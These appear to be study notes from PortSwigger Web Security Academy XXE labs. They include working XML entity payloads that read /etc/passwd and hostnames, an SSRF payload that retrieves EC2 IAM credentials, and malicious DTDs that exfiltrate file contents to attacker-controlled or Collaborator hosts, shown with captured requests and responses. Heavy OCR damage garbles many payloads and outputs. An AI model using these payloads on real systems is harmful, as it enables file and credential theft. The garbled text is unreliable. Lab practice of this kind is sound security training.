XXE

@

XXE

Portswigger: Exploiting XXE using external entities to

retrieve files

Add the malicious dtd to include server internal files.

Raw | Params | Headers | Hex | XML

Raw | Headers | Hex

sec-ch-ua: "Chromium";w="88", "Google Chrowe";w="88", ";Not A Brand";v="00"
sec-ch-ua-mobile: 20

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrowe/88.0.4324.150 Safari/537.36

Content-Type: application/xml

Accepk: */*

Origin: https://aciblf7ele79h2bE80c31a03001e00dE. web-gecurity-academy.net
Sec-Fetch-Site:
Fetch-Mode: cors
Fetch-Dest: empty
ferer:
facdbl£761e709b2bE80c3 1a03001=00dE . web-s=curity-academy. net/product?productId=

same-origin

]

https
1

Accept-Tanguage :
Cookis: sessiow

en-Us, en; q=0.9
WAL TienQpocsBsTitWnzS0kaiodMHET

<?2xml version="1.0" encoding="UTF-£"?2:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockChecks

<productId>&xxe; </product Id>

<storeld>l</storsTld>

</stockCheck>

e

<

HTTP/L.l 400 Bad Request

Content-Type: application/json; charset=utf-8
Connection: close

Content-Length: 1187

"Invalid product ID: root:x:D:0:root:/reoot:/bin/bash

zl:l:daemon:/usr/shin:/usr/shin/nologin

2:bin:/bin: /usr/shin/nologin

dev: /usr/shin/nologin

sync:/bin:/bin/sync

5:60:games: /usr/games: /usr/shin/nologin

: 12 :iman: /var/cache /man: /usr/shin/nologin

1p: /var/spool/lpd: /usr/shin/nologin

imail:/var/mail: /usr/sbin/nologin

9:news:/var/spool/news: /usr/shin/nologin

uuep:x: 10: L0:uuep: /var/spool/unep: /usc/shin/nologin

proxy:x:13:13:proxy:/bin: /usr/shin/nologin

waw-data:x:33:33 swww-data: /var /waw: /usc/shin/nologin

backup:x:34:34:backup: /var /backups: /usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/shin/nologin

ire:x:39:38:ired: /fvar/run/ired: fusr/shin/nologin

gnats:x:41:41:Gnats Bug-Reporting System

(admin) : /var/Llib/gnats:/usr/shin/nologin

nalod; 65534: 65534 :nobody:/nonexistent:/usr/sbin/nologin
apt: 00:£5534::/nonexistent:/usr/shin/nolocin

Exploiting XXE to perform SSRF attacks



XXE

To exploit an XXE vulnerability to perform an SSRF attack, you need to define an external XML entity using
the URL that you want to target, and use the defined entity within a data value. If you can use the defined
entity within a data value that is returned in the application's response, then you will be able to view the
response from the URL within the application's response, and so gain two-way interaction with the back-

end system. If not, then you will only be able to perform blind SSRF attacks (which can still have critical
consequences).

In the following XXE example, the external entity will cause the server to make a back-end HTTP request
to an internal system within the organization's infrastructure:

<IDOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>

Portswigger - Exploiting XXE to perform SSRF attacks

SSREF is serious vulnerability in which the server-side application can be induced to make HTTP
requests to any URL that the server can access.

This lab has a "Check stock" feature that parses XML input and returns any unexpected values in the
response.

The lab server is running a (simulated) EC2 metadata endpoint at the default URL, which
is nttp://169.254.169.254/ . This endpoint can be used to retrieve data about the instance, some of which
might be sensitive.

To solve the lab, exploit the XXE vulnerability to perform an SSRF attack that obtains the server's IAM
secret access key from the EC2 metadata endpoint.

build the aws internal url in such a way that you can access the sensitive SecretAccessKey from the

server....(for user admin).

Raw | Params | Headers | Hex | XML

Raw | Headers | Hex

sec-ch-ua: "Chrowiwn";w="88", "Googls Chrows'";v="88", ";lNot A Brand";vw="99" Y HTTP/Ll.l 400 Bad Recuest
sec-ch-ua-mobile: 20 r Content-Type: application/json; charset=utf-2
Ussr-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; x64) AppleWsbKit/537.36 Connection: close
(EHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Content-Length: 548
Content-Type: application/zml
Accept: /% "Invalid product ID: |
Origin: https://acll1f80lechhZlbc808d2091300b300ct.web-security-academy. net 2 "
Sec-Fetch-5ite: sams-origin 1-02-19T16:55:32.3598 792",
Sec-Fetch-Mode: cors AC",
Sec-Fetch-Dest: =mpty " "FgALDZLEtzropTifgcE"”,
Referer: ctAccessFey" : "10HICz2Z99rMTRU740xVOZHureFAcSiTLLTphIzxg",
https://aclll£901=chblbe80Ed201300b300cE  web-secur iby-academy . net/ product? produ
ctId=1 " z2tMs06TZCHLNEMMME 98 BLHT 2T 7998 bWLE Lena7Dx TEUCHE BGKE EDY1DTT3Ghastes0C40l zudzBm2
Accept-Language: en-US,=n;q=0.9 JE1idf0X9 1% TrCaloEMTYsx HEZdPKr 2 X 18 £ 7t SygHUAY S EEKHTBUP gHAKKOS UMWSE SVD LimuzpCERS
Cookie: session=tLzZcqOeMVSD4MCxplokoS8iVETRETOAS oTdXHUUoKNMAE L ToB ESPCDVEMIga2 DoRUEL5OVawE 6 T2 1 THWl LAHogr 63 uSsE4c 2qPuEAYbrNr SE2

9QuIL3r lokfFEbWVa0AE"
<?uml version="1.0" encoding="UTF-3"7> "Bxpiration” : "2027-02-18T1&:55:32.35087532"
<!DOCTYPE foo [ <!ENTITY xxe= SYSTEM X
"http://169.254.169.254/latest/meta-data/iam/security-credentials/adminf'> 1>
<stockCheck>
<productIdsexxe; </productId>
<storeld>l</storeTd>
</stockCheck>

%
v

Blind XXE vulnerabilities

Many instances of XXE vulnerabilities are blind. This means that the application does not return the values
of any defined external entities in its responses, and so direct retrieval of server-side files is not possible.


https://portswigger.net/web-security/ssrf
https://portswigger.net/web-security/ssrf/blind
https://portswigger.net/web-security/xxe
https://portswigger.net/web-security/ssrf
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Blind XXE vulnerabilities can still be detected and exploited, but more advanced techniques are required.
You can sometimes use out-of-band techniques to find vulnerabilities and exploit them to exfiltrate data.
And you can sometimes trigger XML parsing errors that lead to disclosure of sensitive data within error
messages.

Xinclude attacks

Some applications receive client-submitted data, embed it on the server-side into an XML document, and
then parse the document. An example of this occurs when client-submitted data is placed into a back-
end SOAP request, which is then processed by the backend SOAP service.

In this situation, you cannot carry out a classic XXE attack, because you don't control the entire XML
document and so cannot define or modify a pocrvre element. However, you might be able to

use xinclude instead. xinciude is a part of the XML specification that allows an XML document to be built
from sub-documents. You can place an xinciude attack within any data value in an XML document, so the
attack can be performed in situations where you only control a single item of data that is placed into a
server-side XML document.

To perform an xinciude attack, you need to reference the xinciude namespace and provide the path to
the file that you wish to include. For example:

<foo xmlns:xi="http://www.w3.0rg/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo>
L3 . L3 L3 o L3
Portswigger: Exploiting Xinclude to retrieve files

This lab has a "Check stock" feature that embeds the user input inside a server-side XML document that
is subsequently parsed.

Because you don't control the entire XML document you can't define a DTD to launch a
classic XXE attack.

To solve the lab, inject an xinclude statement to retrieve the contents of the /etc/passwd file.


https://portswigger.net/web-security/xxe
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Raw | Params | Headers | Hex

Raw | Headers | Hex

POST /product/stock HTTE/L.l

Host: ac3Tlfcclebhl3T4002cad93003a009d.web-security-academy.net
Connection: close

Content-Length: 126

sec—ch-ua: "Chromium”;v="88", "Google Chroms";v="88", ";Not A Brand";v="8g"
sec—ch-ua-mobile: 70

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; x64) AppleWebKit/537.36
(EHTML, like Gecko) Chrowe/88.0.4324.150 Safari/537.36

Content—Type: application/x—www—form—urlencoded

Accept: */*

Origin: https://ac37lfcclebb2374802cad93003a0009d. web-security-acadeny.net
Sec

—Fetch-Site: same—origin

h-Mode: cors
h-Dest: empty

://ac371feclebb2374802cad83003a009d. web-secur i ty-academy. net,/product? produ

Accept-Language: en-US,en;q=0.9
Cookie: sVelFhABPaqdCIET2 VA XxWETUne L

session=s

rg/2001/%Include"><xi: include
</foopeastoreld=1

productId=<foo xmlns:xi="http://www.

parse="text" href="file:///ctc/passw

XXE attacks via file upload

L

Pl

HTTE/ 1.l 400 Bad Requsst

Content-Types: application/jsen; charsst=utf-g
Connection: close

Content-Length: L1187

"Invalid product ID: root:x:0:0:root:/root:/bin/bash
dasmon:ix:l:l:idasmon: /usr/sbin: /usr/shin/nologin
bin:x: bin:/bin:/usr/shin/nologin

: sys:/dev:/usr/shin/nologin
ne:/bin: /bin/syne
es:/usr/games: /usr/sbin/nologin
:man: /var/cache/man: /usr/shin/nologin

:mail:/var/mail:/usr/sbin/nologin

:news: /var/spool/news: /usr/sbin/nologin

:10:uucp: /var/spool/uucp: /usr/shin/nologin
proxy:x:13:13:proxy:/bin: /usr/shin/nologin

www—data:x:33:33 swww-data: /fvar/waw: /usr/sbhin/nologin

backup:x:34:34:backup: /var/backups:/usr/shin/nologin
list:x:3B:36:Mailing List Manager:/var/list:/usr/shin/nologin
irc:x:39:39:ired: /var/run/ired: /usr/shin/nologin
gnats:x:41:41l:Gnats Bug-Reporting System

(adwin] : /var/1ib/gnats: /usr/shin/nologin
nobody:x:£5534: 65534 nobody: /nonexistent : /usr/shin/nologin
apt:x:100:65534: : /nonexistent: /usr/sbin/nologin

Some applications allow users to upload files which are then processed server-side. Some common file
formats use XML or contain XML subcomponents. Examples of XML-based formats are office document

formats like DOCX and image formats like SVG.

For example, an application might allow users to upload images, and process or validate these on the
server after they are uploaded. Even if the application expects to receive a format like PNG or JPEG, the
image processing library that is being used might support SVG images. Since the SVG format uses XML,
an attacker can submit a malicious SVG image and so reach hidden attack surface for XXE vulnerabilities.

Portswigger - Exploiting XXE via image file upload

Problem statement

This lab lets users attach avatars to comments and uses the Apache Batik library to process avatar image

files.

To solve the lab, upload an image that displays the contents of the /etc/hostnane file after processing.
Then use the "Submit solution" button to submit the value of the server hostname.

Solution

Create a local SVG image with the following content: (test.svg with following contents)

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY

xXXe

SYSTEM "file:///etc/hostname" > ]><svg

width="128px" height="128px" xmlns="http://www.w3.0rg/2000/svg" xmlns:xlink="http://www.w3.0rg/1999/x1link"

version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

Post a comment on a blog post, and upload this image as an avatar.

When you view your comment, you should see the contents of the /etc/hostnane file in your image. Then
use the "Submit solution" button to submit the value of the server hostname.


https://portswigger.net/web-security/xxe
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XXE attacks via modified content type

Most POST requests use a default content type that is generated by HTML forms, such as apptication/x-
ww-form-urlencoded . SOme web sites expect to receive requests in this format but will tolerate other content
types, including XML.

For example, if a normal request contains the following:

POST /action HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 7 foo=bar

Then you might be able submit the following request, with the same result:

POST /action HTTP/1.0 Content-Type: text/xml Content-Length: 52 <?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

If the application tolerates requests containing XML in the message body, and parses the body content as
XML, then you can reach the hidden XXE attack surface simply by reformatting requests to use the XML
format.

Portswigger - Blind XXE with out-of-band interaction

intro

You can often detect blind XXE using the same technique as for XXE SSRF attacks but triggering the out-
of-band network interaction to a system that you control. For example, you would define an external
entity as follows:

<IDOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]>
You would then make use of the defined entity in a data value within the XML.

This XXE attack causes the server to make a back-end HTTP request to the specified URL. The attacker
can monitor for the resulting DNS lookup and HTTP request, and thereby detect that the XXE attack was
successful.

This lab has a "Check stock" feature that parses XML input but does not display the result.

You can detect the blind XXE vulnerability by triggering out-of-band interactions with an external domain.
To solve the lab, use an external entity to make the XML parser issue a DNS lookup and HTTP request to

Burp Collaborator.

Solution

Visit a product page, click "Check stock" and intercept the resulting POST request in Burp Suite
Professional.

Go to the Burp menu, and launch the Burp Collaborator client.


https://portswigger.net/web-security/xxe#exploiting-xxe-to-perform-ssrf-attacks
https://portswigger.net/web-security/xxe/blind
https://portswigger.net/burp/pro
https://portswigger.net/burp/documentation/desktop/tools/collaborator-client

XXE

Click "Copy to clipboard" to copy a unique Burp Collaborator payload to your clipboard. Leave the Burp
Collaborator client window open.

Insert the following external entity definition in between the XML declaration and the stockcheck element,
but insert your Burp Collaborator subdomain where indicated:

<IDOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> ]>
Then replace the producttd number with a reference to the external entity: axxe;

Go back to the Burp Collaborator client window, and click "Poll now". If you don't see any interactions
listed, wait a few seconds and try again.

You should see some DNS and HTTP interactions that were initiated by the application as the result of
your payload.

# 4| Time | Type | Payload | Comment
1 2021-Feb-26 07:41:04 UTC DNS 68cbaockzc5y8eb107ipagaetvxiopd
2 2021-Feb-26 07:41:04 UTC DNS 68cbhaokzcbyBeb107ipagaetvx1opd
z 2021-Feb-26 07:41:04 UTC HTTP 68cbackzchy8eb107ipagaetvxiopd

[ Description I Request to Collaborator T Response from Collaborator

J Raw l Headers T Hex T HTML I Render 1

HTTE/Ll.1 200 CK

Server: Burp Collaborator https://burpcollaborator.nst/
¥-Collaborator-Version: 4

Content-Type: text/html

Content-Length: 53

<html><body>xu523kyevivEzyaakjsqo9zjjgz</body></html>

Sometimes, XXE attacks using regular entities are blocked, due to some input validation by the application
or some hardening of the XML parser that is being used. In this situation, you might be able to use XML
parameter entities instead. XML parameter entities are a special kind of XML entity which can only be
referenced elsewhere within the DTD. For present purposes, you only need to know two things. First, the
declaration of an XML parameter entity includes the percent character before the entity name:

<IENTITY % myparameterentity "my parameter entity value" >

And second, parameter entities are referenced using the percent character instead of the usual
ampersand:

%myparameterentity;

This means that you can test for blind XXE using out-of-band detection via XML parameter entities as
follows:

<IDOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>


https://portswigger.net/web-security/xxe

XXE

This XXE payload declares an XML parameter entity called xxe and then uses the entity within the DTD.
This will cause a DNS lookup and HTTP request to the attacker's domain, verifying that the attack was
successful.

Portswigger - Blind XXE with out-of-band interaction via
XML parameter entities

This lab has a "Check stock" feature that parses XML input, but does not display any unexpected values,
and blocks requests containing regular external entities.

To solve the lab, use a parameter entity to make the XML parser issue a DNS lookup and HTTP request to
Burp Collaborator.

J Raw I Params I Headers Iﬁm Raw | Headers @

sec—ch-ua: "Chromium"”;w="88", "Google Chrome";w="88", ";Not A Brand";w="89" A HTTE/1.1 400 Bad Recuest

sec-ch-ua-mobils: 20 Content-Type: application/json; charsst=utf-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x&64) AppleWsbEit/537.3¢ Connsction: close

(KHTML, like Gecko) Chrome/88.0.4324,150 Safari/537.36 Content-Length: 20

Content-Type: application/xml

Accept: */* "Invalid product ID"

Origin: https://ac2llf311023d31808a09a0004700£5 . web-security-academy.net
Sec-Fetch-5ite: same-origin

Sec—Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer:
https://ac2llfl11=023d318068a09a0004700£5 . web-gscurity-academy. net/ product?produ
ctId=1

Accept-Language: =n-US,en;c=0.9

Cookie: session=kkxOxjAnroygqpinMeWAmSNouCPuksyUP

<?xml version="1.0" encoding="UTF-8"7>

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM
"http://reTweSokgogltiwSlb3tvkvirziSatz.burpeollaborator.net”> >
<stockCheck>

<product Id>fxxe; </product Id>

<storeld>l</storeIds>

</stockCheck>

Portswigger - Exploiting blind XXE to exfiltrate data
using a malicious external DTD
Malicious dtd filel

<!ENTITY % file SYSTEM "file:///etc/hostname">

<IENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://bhwgjtt4la7dnga5gnyfpfnb42avyk.burpcollaborator.net/?x=%file;'>">

%eval;
%exfil;



XXE

j Raw I Params I Headers | Hex | XML

Raw | Headers | Hex

POST /product/stock HITE/L.l

Host: ac83lfa=1£334bL5550£91LE8007d003d. web-security-academy. net

Connection: close

Content-Length: 231

sec—ch-ua: "Chromium";v="88", "Google Chromes";+="88", ";Not A Brand";w="0g"
sec-ch-ua-mobile: 20

User-Agesnt: Mozilla/5.0 (Windows NT 10.0; Wingd; x64) AppleWshKit/537.36
(KHTML, like Gecko) Chrome/85.0.4324.150 Safari/537.3€

Content-Type: application/xml

Accept: */*¥

Origin: https://acB3lfa=1£334b5680£91bEE007d003d. web-security-academy.n=t
Sec-Fetch-Site: same-origin

Sec—Fetch-Mods: cors

Sec-Fetch-Dest: empty

Peferer:

https://acB3 1fa=1£334b98B0£Y 1hEB00TdO03d, web-gecurity-academy. net/product? produ
ctId=1

Accept-Language: en-US, en;c=0.8

Cookie: session=NbpoHINP4pvLETQOTgdTWyZ HIWIASSWO

<?xml version="1.0" encoding="UTF-5"7>

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM

"https://aclalfbdlf094bE480cflbfb010e003a. web-security-academy. net/exploit"> ]>
<stockCheck><productId>%xxe; </productIds<storeld>l</storeId></stockChecks>

8 2021-Feb-26 12:50:26 UTC HTTP bhwagjttdla7dn
9 2021-Feb-26 12:50:26 UTC DNS bhwajtt4la7dn

A HTTF/1.1 400 Bad Request

™ Content-Type: application/json; charset=utf-8
Connsction: close

Content-Length: 20

"Invalid product ID"

:

- - 2 4

gasgnyfpfnbd2avy
gasgnyfpfnb42avyk

Description | Request to Collaborator I Response from Collaborato

r

J Raw [ Params I Headers I Hex ]

GET /7x=4f0dff5d=2bl HTTE/ L.l
User—Agent: Java/l2.0.2

Connection: keep-aliwve

1. Using Burp Suite Professional, go to the Burp menu, and laun

2. Click "Copy to clipboard" to copy a unique Burp Collaborator
Burp Collaborator client window open.

3. Place the Burp Collaborator payload into a malicious DTD file
"file:///etc/hostname"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM

HERE.burpcollaborator.net/?x=%file; '>"> %eval; %exfil;

Host: bhwgittdlaldngaionyfpfnb4Zavyk.burpeollaborator.net
Aecept: text/html, image/gif, image/jpeg, *; o=.2, */*; o=.2

ch the Burp Collaborator client.

payload to your clipboard. Leave the

. <!ENTITY % file SYSTEM

'"http://YOUR-SUBDOMAIN-

4. Click "Go to exploit server" and save the malicious DTD file on your server. Click "View exploit" and

take a note of the URL.

5. You need to exploit the stock checker feature by adding a pa

rameter entity referring to the malicious

DTD. First, visit a product page, click "Check stock", and intercept the resulting POST request in Burp

Suite.

6. Insert the following external entity definition in between the XML declaration and

the stockcheck element: <ipocTYPE foo [<!ENTITY % xxe SYSTEM "YOUR-DTD-URL"> %xxe;]>


https://portswigger.net/burp/pro
https://portswigger.net/burp/documentation/desktop/tools/collaborator-client
https://portswigger.net/web-security/xxe
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7. Go back to the Burp Collaborator client window, and click "Poll now". If you don't see any interactions
listed, wait a few seconds and try again.

8. You should see some DNS and HTTP interactions that were initiated by the application as the result of
your payload. The HTTP interaction could contain the contents of the /etc/hostnane file.

Exploiting blind XXE to retrieve data via error messages

An alternative approach to exploiting blind XXE is to trigger an XML parsing error where the error message
contains the sensitive data that you wish to retrieve. This will be effective if the application returns the
resulting error message within its response.

This lab has a "Check stock" feature that parses XML input but does not display the result.

To solve the lab, use an external DTD to trigger an error message that displays the contents of
the /etc/passwd file.

The lab contains a link to an exploit server on a different domain where you can host your malicious DTD.

Solution

1. Click "Go to exploit server" and save the following malicious DTD file on your server: <ientity % file
SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY &#x25; error SYSTEM
‘“file:///invalid/%file; '>">%eval;%exfil; When imported, this page will read the contents of /etc/passwd into
the rite entity, and then try to use that entity in a file path.

2. Click "View exploit" and take a note of the URL for your malicious DTD.

3. You need to exploit the stock checker feature by adding a parameter entity referring to the malicious
DTD. First, visit a product page, click "Check stock", and intercept the resulting POST request in Burp
Suite.

4. Insert the following external entity definition in between the XML declaration and
the stockcheck element: <ipocTYPE foo [<!ENTITY % xxe SYSTEM "YOUR-DTD-URL"> %xxe;]> YOU should see an

error message containing the contents of the /etc/passud file.


https://portswigger.net/web-security/xxe

Raw | Params | Headers | Hex | XML Raw | Headers | Hex

Connection: close n "YML parser exited with non-zero code 1@
Content-Length: 233 /nonexistent/root:x:0:0:root:/root: /bin/bash
sec—ch-ua: "Chromium"”;v="08", "Google Chromes";v="88", ";lNot A Brand";w="99" L daswon:x: l: L:dasmon: /usr/shin: fusr/shin/nologin
sec-ch-ua-mobile: 20 bin: in:/bin: /usr/shin/nologin
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; x&4) AppleWs=bKit/537.36 sys:xi3:3isysi/dev:/usr/sbin/nologin

(KHTML, like Gecko) Chrome/88.0.4324.150 sSafari/537.3¢ sync:x:4:65534:9ync: /bin: /bin/sync
Content-Type: application/xml games:x:5:60:games: /usr/games: /usr/shin/nologin

man:/var/cache/man: /usr/shin/nologin
1p:/var/spool/lpd: /usr/shin/nologin
8:mail:/var/mail:/usr/shin/nologin
:8:news: /var/spool/news: /usr/sbin/nologin

Accept: */*

Origin: https://aclclf871ffcTEET803a33b400a%00ac. web-security-academy.nst
Sec tch-5ite: same-origin

tch-Mode: cors

S toch-Dest: esmpty uucp:xi 10: L0suucp: /var/spool/uucp: /usr/shin/nologin

Referer: proxyix:l3:13:proxy: /hin: fusr/shin/nologin

https://ac2clf071££c7607803a03b400a000ac . web-secur ity-academy. net/product? produ wna-datasx:33 133 vme-data: /var /wna: /use /sbin/nologin

ctId=1 backup:x:34:34:hackup: /var/backups: /ust/sbin/nologin

Accept-Language: en-US,en;g=0.8 list:x:38:38:Mailing List Manager:/var/list:/usr/sbhin/nologin

Cookie: session=Ww7ivlIdBIoqylelXyZtWdGecqolTNEAju irec:x:39:39:ired: /var/run/ired: /usr/shin/nologin
gnats:x:41:41:Gnats Bug—Reporting System

<?xml version="1.0" encoding="UTF-8"7> (acmin) :/var/lib/gnats: /usr/shin/nologin

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM nobody:x:£5534: 65534 : nobody: /nonexistent: /usr/shin/nologin

"https://ac081£351fb476706809733b0018900dE . web-security-academy.net/exploit"> _apt:x:100:£5534: : /nonexistent:/usr/shin/nologin

BFxxe; 1= peter:x:2001:200L: : /home/peter:/bin/bash

::/home/carlos: /bin/bash
00:2000: : /homs/user : /bin/bash

<stockCheck><productId>1</productId><storeld>l</storeld></stockCheck>

o
v

elmer:x:2089:2058: : /home/elmer : /bin/bash
2=z Typeas 0 matches 2] =2 =] |mw -
oone 1

This scenerio can be important as we are able to display sensitive information as part of error
message.

Exploiting blind XXE by repurposing a local DTD

The preceding technique works fine with an external DTD, but it won't normally work with an internal
DTD that is fully specified within the ooctvee element. This is because the technique involves using an
XML parameter entity within the definition of another parameter entity. Per the XML specification, this
is permitted in external DTDs but not in internal DTDs. (Some parsers might tolerate it, but many do
not.)

So what about blind XXE vulnerabilities when out-of-band interactions are blocked? You can't
exfiltrate data via an out-of-band connection, and you can't load an external DTD from a remote
server.

In this situation, it might still be possible to trigger error messages containing sensitive data, due to a
loophole in the XML language specification. If a document's DTD uses a hybrid of internal and external
DTD declarations, then the internal DTD can redefine entities that are declared in the external DTD.
When this happens, the restriction on using an XML parameter entity within the definition of another
parameter entity is relaxed.

This means that an attacker can employ the error-based XXE technique from within an internal DTD,
provided the XML parameter entity that they use is redefining an entity that is declared within an
external DTD. Of course, if out-of-band connections are blocked, then the external DTD cannot be
loaded from a remote location. Instead, it needs to be an external DTD file that is local to the
application server. Essentially, the attack involves invoking a DTD file that happens to exist on the
local filesystem and repurposing it to redefine an existing entity in a way that triggers a parsing error
containing sensitive data. This technique was pioneered by Arseniy Sharoglazov, and ranked #7 in
our top 10 web hacking techniques of 2018.

For example, suppose there is a DTD file on the server filesystem at the
location /usr/local/app/schema.dtd , and this DTD file defines an entity called custom entity . An attacker

XXE
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can trigger an XML parsing error message containing the contents of the /etc/passud file by submitting
a hybrid DTD like the following:

<IDOCTYPE foo [ <!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd"> <!ENTITY % custom_entity
' <IENTITY &#x25; file SYSTEM "file:///etc/passwd"> <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM
&#x27;file:///nonexistent/&#x25; file;&#x27;>"> &#x25;eval; &#x25;error; '> %local_dtd; ]>

This DTD carries out the following steps:

o Defines an XML parameter entity called 1ocal dtd, containing the contents of the external DTD file
that exists on the server filesystem.

o Redefines the XML parameter entity called custom entity , which is already defined in the external
DTD file. The entity is redefined as containing the error-based XXE exploit that was already
described, for triggering an error message containing the contents of the /etc/passud file.

o Uses the 1ocal dtd entity, so that the external DTD is interpreted, including the redefined value of
the custom entity entity. This results in the desired error message.

Locating an existing DTD file to repurpose

Since this XXE attack involves repurposing an existing DTD on the server filesystem, a key
requirement is to locate a suitable file. This is actually quite straightforward. Because the application
returns any error messages thrown by the XML parser, you can easily enumerate local DTD files just
by attempting to load them from within the internal DTD.

For example, Linux systems using the GNOME desktop environment often have a DTD file
at /usr/share/yelp/dtd/dochookx.dtd . YOU can test whether this file is present by submitting the following
XXE payload, which will cause an error if the file is missing:

<IDOCTYPE foo [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> %local_dtd; ]>

After you have tested a list of common DTD files to locate a file that is present, you then need to
obtain a copy of the file and review it to find an entity that you can redefine. Since many common
systems that include DTD files are open source, you can normally quickly obtain a copy of files
through internet search.

Portswigger - Exploiting XXE to retrieve data by
repurposing a local DTD
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R
Raw | Params IHeaders IEIM}

Raw | Headers IE]

Origin: https://acTclfl9l=f0675280561a84006600a2 .web-security-acadewy.net

Sec-Fetch-Site: same—origin
Fetch-Mode: cors
Sec—Fetch-Dest: empty
Referer:

https://acTelf181ef0ET7528056 a8 A006600a2 . weh-secur ity-academy . net/product? produ

ctId=1
Accept-Language: =n-US,=n;
Coockie: session=WIDT3fds

0.9
P7sngIQThglF7AB 2SIV TE

<?xml version="1.0" encoding="UTF-0"7>

<IDOCTYPE message [

<!ENTITY % local dtd SYSTEM "file:///usr/share/yelp/dtd/dochocksx.dtd”>
<!ENTITY % ISOamso '

<IENTITY &£f#x25; file SYSTEM "file:///etc/passwd">

NTITY s#x25; eval "<!ENTITY a#x26;#x25
&# ;Eile:///nonexistent/a#xl5; file; afxi7;>">
e#x25;eval;

error SYSTEM

&#x29;error;

%1
1>

<gtockChecks><productIdsl</productlds<storelds>l</storeld></stockCheck>

cal ded;

» —
[ N i il | S AR

¥
v

0 matches

HTTE/L.l 400 Bad Recuest

Content-Type: application/json; charset=utf-8
Connection: close

Content-Length: LI88

"XML parser exited with non-zero code 1:
/nonexistent/root:x:0:0:roo root:/bin/bash
dasmon:x: L: Llidasmon: /usr/shin: /usr/sbhin/nologin

: usr/sbhin/mologin
usr/shin/nologin
5534:sync:/hin: /hin/syne
games:x:5:E0: games : /usr/games: /usr/shin/nologin
12:man:/var/cache/man: /usr/sbin/nologin
p:dvar/spool/lpd: /use/shin/nologin
ail:/var/mail:/usr/sbin/nologin
=ws:/var/spool/nsws: /usr/shin/nologin
mep:/var/spool/uncp : /usr/shin/no login
proxyix:13:13iproxy: /bin: /usr/sbin/nalogin
www-data:x:
backup:
lis

33:33:www-data: /var/www: /usr/shin/nologin
34:backup:/var/backups: /usr/shin/nologin
38:Mailing List Manager:/var/list:/usr/shin/nologin
ire:x:39:39:ired: /var/run/ired: /usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System

(admin) : /var/Llib/gqnats: /usr/shin/nelogin

nobodv:x:£5534: 65534 nobody: /nonexistent:/usr/shin/nologin

> —
sz e

When parsed XML data is not visible in HTTP

response (OOB XXE)

This is the most common case you will encounter during your Application Security engagements. In
this case, we will make use of parameterized entities to build our payload and learn some concepts on
the way. The idea here is to store the content of the file in some variable and resolve that variable in

an HTTP request to send the contents of file to our server.

Let’s build our payload step by step and understand how and why of our payload. We simply defined
a file variable to store the contents of win.ini and a req variable to send the contents to our server.

Let’s try to use this payload in our vulnerable Php file from Case 2 of “Finding XXE
Vulnerability” section. Our request payload will look like following:
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We got the following error from Php interpreter which states our URL is invalid.

Warning: DOMDocument::loadXML(): Invalid URI: http://localhost:81/?%file; in
Entity, line: 4 in C:\wamp64\www'\vulnapps'xxe.php on line §

Call Stack

# !Time iﬁ‘[emor}‘ Function |Location
1| 00007 | 241736|{main}( ) .. \sxxe.php:0
2| 00008 | 242840|load XML ( ) ..\xxe.php:5

To overcome the above error, we used an internal entity nested with external entity and triggered the

request again. Our request payload will look like following:

ny.,0m"es

TEM "php://filter/convert.b Gi=¢ acle G windows/ win.ini"§

However, this time we got a different error, which simply means we cannot reference parameterized
entities in an internal document type declaration.

_ ‘Warning: DOMDocument::loadXML(): PEReferences forbidden in internal subset in
tity, line: 5 in C:\wamp64'\www\vulnapps'xxe.php on line §

ECa].I Stack

ﬁ; TI.-I]]E i&iemor}' ":.l;'l-luctinu ”!-l...m:at.'u;m
‘1| 00003 | 241816 {main}( ) |...\xxe. php:0
(2] 00004 | - 242960|loadXML () | \ocxe.php:5

We can overcome the above restriction by using an external DTD. We created an xxe.dtd file at our
server listening at localhost:81 with following contents:
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GNU nano 2.8.7 File: xxe.dtd

k!EHTiT? % all "<|ENTITY &#x25; req SYSTEM "http://localhost:81/Xfile;"»">

Our final request with XML payload will look like following. The payload resolves the reference to
external DTD (%dtd) and the references defined in DTD file xxe.dtd (%all;%req;) as well.

POST /vulnapps/xxe.php HTTE/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows KT 6.3; Winbd; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,h applicationfxml;q=0.9,6+%/*;q=0.8

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Regquests: 1

Content-Type: text/axml

Content-Length: 280

Observe the application resolves all the references in our DTD file as well as in request and sends
back the base64 encoded contents of win.ini file which can be decoded later to get the original
contents.

udHNADYpb
AsbABKQR1DP

xxeserve

Out-of-Band XXE tool

A python script to achieve file read via FTP!
